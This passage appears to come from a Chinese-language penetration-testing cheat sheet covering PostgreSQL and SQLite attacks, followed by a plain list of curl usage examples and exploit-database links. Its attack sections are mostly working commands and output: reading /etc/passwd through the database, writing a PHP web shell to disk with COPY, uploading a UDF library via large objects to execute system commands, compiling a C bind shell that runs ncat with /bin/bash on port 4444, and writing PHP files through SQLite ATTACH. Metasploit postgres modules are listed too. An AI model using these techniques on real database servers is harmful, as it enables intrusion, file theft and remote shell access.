t
--------------------------------- root:x:0:0:root:/root:/bin/bash
(1 row)
postgres=# SELECT * FROM pwn;
t
------------------------------------------------------------------------------ root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin
mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin
ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin
http:x:33:33:http:/srv/http:/usr/bin/nologin
uuidd:x:68:68:uuidd:/:/usr/bin/nologin
dbus:x:81:81:dbus:/:/usr/bin/nologin
nobody:x:99:99:nobody:/:/usr/bin/nologin
systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin
systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin
systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin
systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin
systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin
systemd-journal-remote:x:999:999:systemd Journal Remote:/:/sbin/nologin
systemd-journal-upload:x:998:998:systemd Journal Upload:/:/sbin/nologin
avahi:x:84:84:avahi:/:/bin/false
polkitd:x:102:102:Policy Kit Daemon:/:/bin/false
git:x:997:997:git daemon user:/:/bin/bash
colord:x:124:124::/var/lib/colord:/bin/false
postgres:x:88:88:PostgreSQL user:/var/lib/postgres:/bin/bash
lab:x:1000:1000::/home/notfound:/bin/bash
stunnel:x:16:16::/var/run/stunnel:/bin/false
dnsmasq:x:996:996:dnsmasq daemon:/:/usr/bin/nologin
mongodb:x:995:2::/var/lib/mongodb:/bin/bash
mysql:x:89:89::/var/lib/mysql:/bin/false
sslh:x:994:994::/:/sbin/nologin
(27 rows)
postgres=# DROP table pwn;
* * *
#### 写入文件
postgres=# DROP TABLE pwn;
DROP TABLE
postgres=# CREATE TABLE pwn (t TEXT);
CREATE TABLE
postgres=# INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');
INSERT 0 1
postgres=# SELECT * FROM pwn;
t
-------------------------------- <?php @system("$_GET[cmd]");?>
(1 row)
postgres=# COPY pwn(t) TO '/tmp/cmd.php';
COPY 1
postgres=# DROP TABLE pwn;
DROP TABLE
* * *
#### UDF hack
##### 编译源
lab: / $ git clone https://github.com/sqlmapproject/udfhack/
lab: / $ gcc lib_postgresqludf_sys.c -I`pg_config --includedir-server` -fPIC -shared -o udf64.so
lab: / $ gcc -Wall -I/usr/include/postgresql/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
lab: / $ strip -sx lib_postgresqludf_sys.so
##### 命令执行
把udf.so转换为十六进制字符串。
lab:~/ $ cat udf.so | hex
利用数据库特性上传udf.so。
postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('079c...', 'hex'));
INSERT 0 1
postgres=# SELECT lo_export(19074, 'cmd.so');
ERROR: pg_largeobject entry for OID 19074, page 0 has invalid data field size 3213
postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
setting
------------------------ /var/lib/postgres/data
(1 row)
Library类库太大了，我们需要把它分成几块，详情可以查看<https://github.com/sqlmapproject/sqlmap/issues/1170>.
postgres=# select * from pg_largeobject;
loid | pageno | data
------+--------+------ (0 rows)
postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
setting
------------------------ /var/lib/postgres/data
(1 row)
postgres=# SELECT lo_creat(-1);
lo_creat
---------- 19075
(1 row)
postgres=# SELECT lo_create(11122);
lo_create
----------- 11122
(1 row)
postgres=# select * from pg_largeobject;
loid | pageno | data
------+--------+------ (0 rows)
postgres=# INSERT INTO pg_largeobject VALUES (11122, 0, decode('079c...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 1, decode('a28e...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 2, decode('1265...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 3, decode('c62e...', 'hex'));
INSERT 0 1
postgres=# SELECT lo_export(11122, '/tmp/cmd.so');
lo_export
----------- 1
(1 row)
postgres=# SELECT lo_unlink(11122);
lo_unlink
----------- 1
(1 row)
成功上传library类库, 然后创建postgresql函数.
postgres=# CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/udf64.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE FUNCTION
postgres=# CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf64.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE FUNCTION
用 **sys_exec** 执行命令, 然后什么也没有返回.
postgres=# SELECT sys_exec('id');
sys_exec
---------- 0
(1 row)
执行命令后，清除函数。
postgres=# DROP FUNCTION sys_exec(text);
DROP FUNCTION
postgres=# DROP FUNCTION sys_eval(text);
DROP FUNCTION
##### 绑定shell
// bind shell on port 4444
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
text *exec()
{
system("ncat -e /bin/bash -l -p 4444");
}
编译源码
lab:postgres_cmd/ $ vim nc.c
lab:postgres_cmd/ $ gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so
lab:postgres_cmd/ $ strip -sx nc.so
复制nc.so到postgresql的tmp目录, 或者你可以利用数据库特性上传so文件.
lab:postgres_cmd/ $ sudo cp nc.so /tmp/systemd-private-374c1bd49d5f425ca21cca8cc6d89de7-postgresql.service-SKrVjI/tmp/nc.so
为绑定shell创建执行函数，用客户端连接到目标.
postgres=# CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/nc.so', 'exec' LANGUAGE C STRICT;
CREATE FUNCTION
postgres=# SELECT exec();
server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.
* * *
#### METASPLOIT POSTGRESQL模块
use auxiliary/admin/postgres/postgres_readfile
use auxiliary/admin/postgres/postgres_sql
use auxiliary/scanner/postgres/postgres_dbname_flag_injection
use auxiliary/scanner/postgres/postgres_login
use auxiliary/scanner/postgres/postgres_version
use auxiliary/server/capture/postgresql
use exploit/linux/postgres/postgres_payload
use exploit/windows/postgres/postgres_payload
#### 参考链接
<https://github.com/sqlmapproject/udfhack/>
<https://github.com/sqlmapproject/sqlmap/issues/1170>
<http://zone.wooyun.org/content/4971>
<http://drops.wooyun.org/tips/6449>
<http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html>
### sqlite
#### sqlite_hacking
#### 连接数据库
让我们开始在命令提示符下键入一个简单的sqlite3命令，它将为您提供SQLite命令提示符，您将在其中发出各种SQLite命令。
┌─[lab@core]─[~/share/pentestlab/Darknet]
└──╼ sqlite3 temp.db
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
sqlite> .help
.backup ?DB? FILE Backup DB (default "main") to FILE
.bail on|off Stop after hitting an error. Default OFF
.binary on|off Turn binary output on or off. Default OFF
.clone NEWDB Clone data into NEWDB from the existing database
.databases List names and files of attached databases
.dbinfo ?DB? Show status information about the database
.dump ?TABLE? ... Dump the database in an SQL text format
If TABLE specified, only dump tables matching
LIKE pattern TABLE.
.echo on|off Turn command echo on or off
.eqp on|off Enable or disable automatic EXPLAIN QUERY PLAN
.exit Exit this program
.explain ?on|off? Turn output mode suitable for EXPLAIN on or off.
With no args, it turns EXPLAIN on.
.fullschema Show schema and the content of sqlite_stat tables
.headers on|off Turn display of headers on or off
.help Show this message
.import FILE TABLE Import data from FILE into TABLE
.indexes ?TABLE? Show names of all indexes
If TABLE specified, only show indexes for tables
matching LIKE pattern TABLE.
.limit ?LIMIT? ?VAL? Display or change the value of an SQLITE_LIMIT
.load FILE ?ENTRY? Load an extension library
.log FILE|off Turn logging on or off. FILE can be stderr/stdout
.mode MODE ?TABLE? Set output mode where MODE is one of:
ascii Columns/rows delimited by 0x1F and 0x1E
csv Comma-separated values
column Left-aligned columns. (See .width)
html HTML <table> code
insert SQL insert statements for TABLE
line One value per line
list Values delimited by .separator strings
tabs Tab-separated values
tcl TCL list elements
.nullvalue STRING Use STRING in place of NULL values
.once FILENAME Output for the next SQL command only to FILENAME
.open ?FILENAME? Close existing database and reopen FILENAME
.output ?FILENAME? Send output to FILENAME or stdout
.print STRING... Print literal STRING
.prompt MAIN CONTINUE Replace the standard prompts
.quit Exit this program
.read FILENAME Execute SQL in FILENAME
.restore ?DB? FILE Restore content of DB (default "main") from FILE
.save FILE Write in-memory database into FILE
.scanstats on|off Turn sqlite3_stmt_scanstatus() metrics on or off
.schema ?TABLE? Show the CREATE statements
If TABLE specified, only show tables matching
LIKE pattern TABLE.
.separator COL ?ROW? Change the column separator and optionally the row
separator for both the output mode and .import
.shell CMD ARGS... Run CMD ARGS... in a system shell
.show Show the current values for various settings
.stats on|off Turn stats on or off
.system CMD ARGS... Run CMD ARGS... in a system shell
.tables ?TABLE? List names of tables
If TABLE specified, only list tables matching
LIKE pattern TABLE.
.timeout MS Try opening locked tables for MS milliseconds
.timer on|off Turn SQL timer on or off
.trace FILE|off Output each SQL statement as it is run
.vfsname ?AUX? Print the name of the VFS stack
.width NUM1 NUM2 ... Set column widths for "column" mode
Negative values right-justify
* * *
#### 生成
常见的sqlite功能（注释，concate，substr，十六进制，引用，....）
sqlite> select 1; -- comments
1
sqlite> select 'hello ' || 'world';
hello world
sqlite> select substr('hello world', 1, 3);
hel
sqlite> select hex('a');
61
sqlite> select quote(hex('a'));
'61'
sqlite> PRAGMA database_list;
0|main|/tmp/evil.php
2|pwn|/tmp/evil.php
sqlite> PRAGMA temp_store_directory = '/tmp';
sqlite>
* * *
#### 读文件
sqlite>
sqlite> CREATE TABLE pwn.data (data TEXT);
sqlite> .tables
data pwn.data
sqlite> .import /etc/passwd data
sqlite> select * from data;
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
......
......
sqlite> .tables
data pwn.data pwn.shell shell
sqlite> DROP TABLE pwn.shell;
* * *
#### 写文件
sqlite> ATTACH DATABASE '/tmp/evil.php' as pwn;
sqlite> CREATE TABLE pwn.shell (code TEXT);
sqlite> INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo();?>');
sqlite> .quit
┌─[✗]─[lab@core]─[~/share/pentestlab/Darknet]
└──╼ file /tmp/evil.php
/tmp/evil.php: SQLite 3.x database
┌─[lab@core]─[~/share/pentestlab/Darknet]
└──╼ strings /tmp/evil.php
SQLite format 3
Itableshellshell
CREATE TABLE shell (code TEXT)
1<?php phpinfo();?>
* * *
#### 命令执行
sqlite> .shell id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
sqlite> .system id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
* * *
##### 参考链接
<http://www.tutorialspoint.com/sqlite/>
<http://atta.cked.me/home/sqlite3injectioncheatsheet>
#### curl_hacking
#### 常见操作
curl http://curl.haxx.se
curl http://site.{one,two,three}.com
curl ftp://ftp.numericals.com/file[1-100].txt
curl ftp://ftp.numericals.com/file[001-100].txt
curl ftp://ftp.letters.com/file[a-z].txt
curl http://any.org/archive[1996-1999]/vol[1-4]/part{a,b,c}.html
curl http://www.numericals.com/file[1-100:10].txt
curl http://www.letters.com/file[a-z:2].txt
curl -o index.html http://curl.haxx.se/
curl http://curl.haxx.se/ > index.html
curl -# http://curl.haxx.se/ > index.html
curl -0 http://curl.haxx.se/
curl --http1.1 http://curl.haxx.se/
curl --http2 http://curl.haxx.se/
curl -1 http://curl.haxx.se/
curl --tlsv1 http://curl.haxx.se/
curl -2 http://curl.haxx.se/
curl --sslv2 http://curl.haxx.se/
curl -3 http://curl.haxx.se/
curl --sslv3 http://curl.haxx.se/
curl -4 http://curl.haxx.se/
curl --ipv4 http://curl.haxx.se/
curl -6 http://curl.haxx.se/
curl --ipv6 http://curl.haxx.se/
curl -A "wget/1.0" http://curl.haxx.se/
curl --user-agent "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" [URL]
curl --user-agent "Mozilla/4.73 [en] (X11; U; Linux 2.2.15 i686)" [URL]
curl -b "phpsession=Testtest" http://demo.com/
curl --cookie "name=Daniel" http://curl.haxx.se
curl -c cookies.txt http://curl.haxx.se/
curl --cookie-jar cookies.txt http://curl.haxx.se
curl -d "username=admin&password=pass" http://curl.haxx.se/
curl --data "birthyear=1905&press=%20OK%20" http://curl.haxx.se/when.cgi
curl --data-urlencode "name=I am Daniel" http://curl.haxx.se
curl --data "<xml>" --header "Content-Type: text/xml" --request PROPFIND url.com
curl -e "http://referer" http://demo.com/
curl --referer http://curl.haxx.see http://curl.haxx.se
curl --header "Host:" http://curl.haxx.se
curl --header "Destination: http://nowhere" http://curl.haxx.se
curl -D - http://curl.haxx.se/
curl --dump-header headers_and_cookies http://curl.haxx.se
curl -L http://github.com/
curl --location http://curl.haxx.se
curl --dns-servers 8.8.8.8 http://demo.com/
curl --trace-ascii debugdump.txt http://curl.haxx.se/
curl --form upload=@localfilename --form press=OK [URL]
curl --upload-file uploadfile http://curl.haxx.se/receive.cgi
curl --user name:password http://curl.haxx.se
curl --proxy-user proxyuser:proxypassword curl.haxx.se
curl --cert mycert.pem https://secure.example.com
* * *
##### 参考链接
$ man curl
<http://curl.haxx.se/docs/manual.html>
<http://curl.haxx.se/docs/httpscripting.html>
<http://httpkit.com/resources/HTTP-from-the-Command-Line/>
# 参考链接
1. <http://www.exploit-db.com/>
2. <http://www.cvedetails.com/>
3. <http://packetstormsecurity.com/>
4. <http://www.securityfocus.com/bid>
5. <http://nvd.nist.gov/>
6. <http://osvdb.org/>
7. <http://cve.mitre.org/>
8. <http://sec.jetlib.com/>
9. <http://0day.today/>
10. <https://www.seebug.org/>
11. <https://www.rapid7.com/db/>
12. <http://zerodayinitiative.com/advisories/published/>
13. <http://exploitsearch.net/>
14. <http://nvd.nist.gov/download/nvd-rss-analyzed.xml>
15. <http://www.intelligentexploit.com/>
16. <https://wpvulndb.com/>
17. <http://www.wordpressexploit.com/>
18. <http://www.drupalexploit.com/>
19. <http://www.openwall.com/lists/oss-security/>
20. <http://exploitsearch.net/>
21. <https://www.vulnerability-lab.com/> | 社区文章 |
Subsets and Splits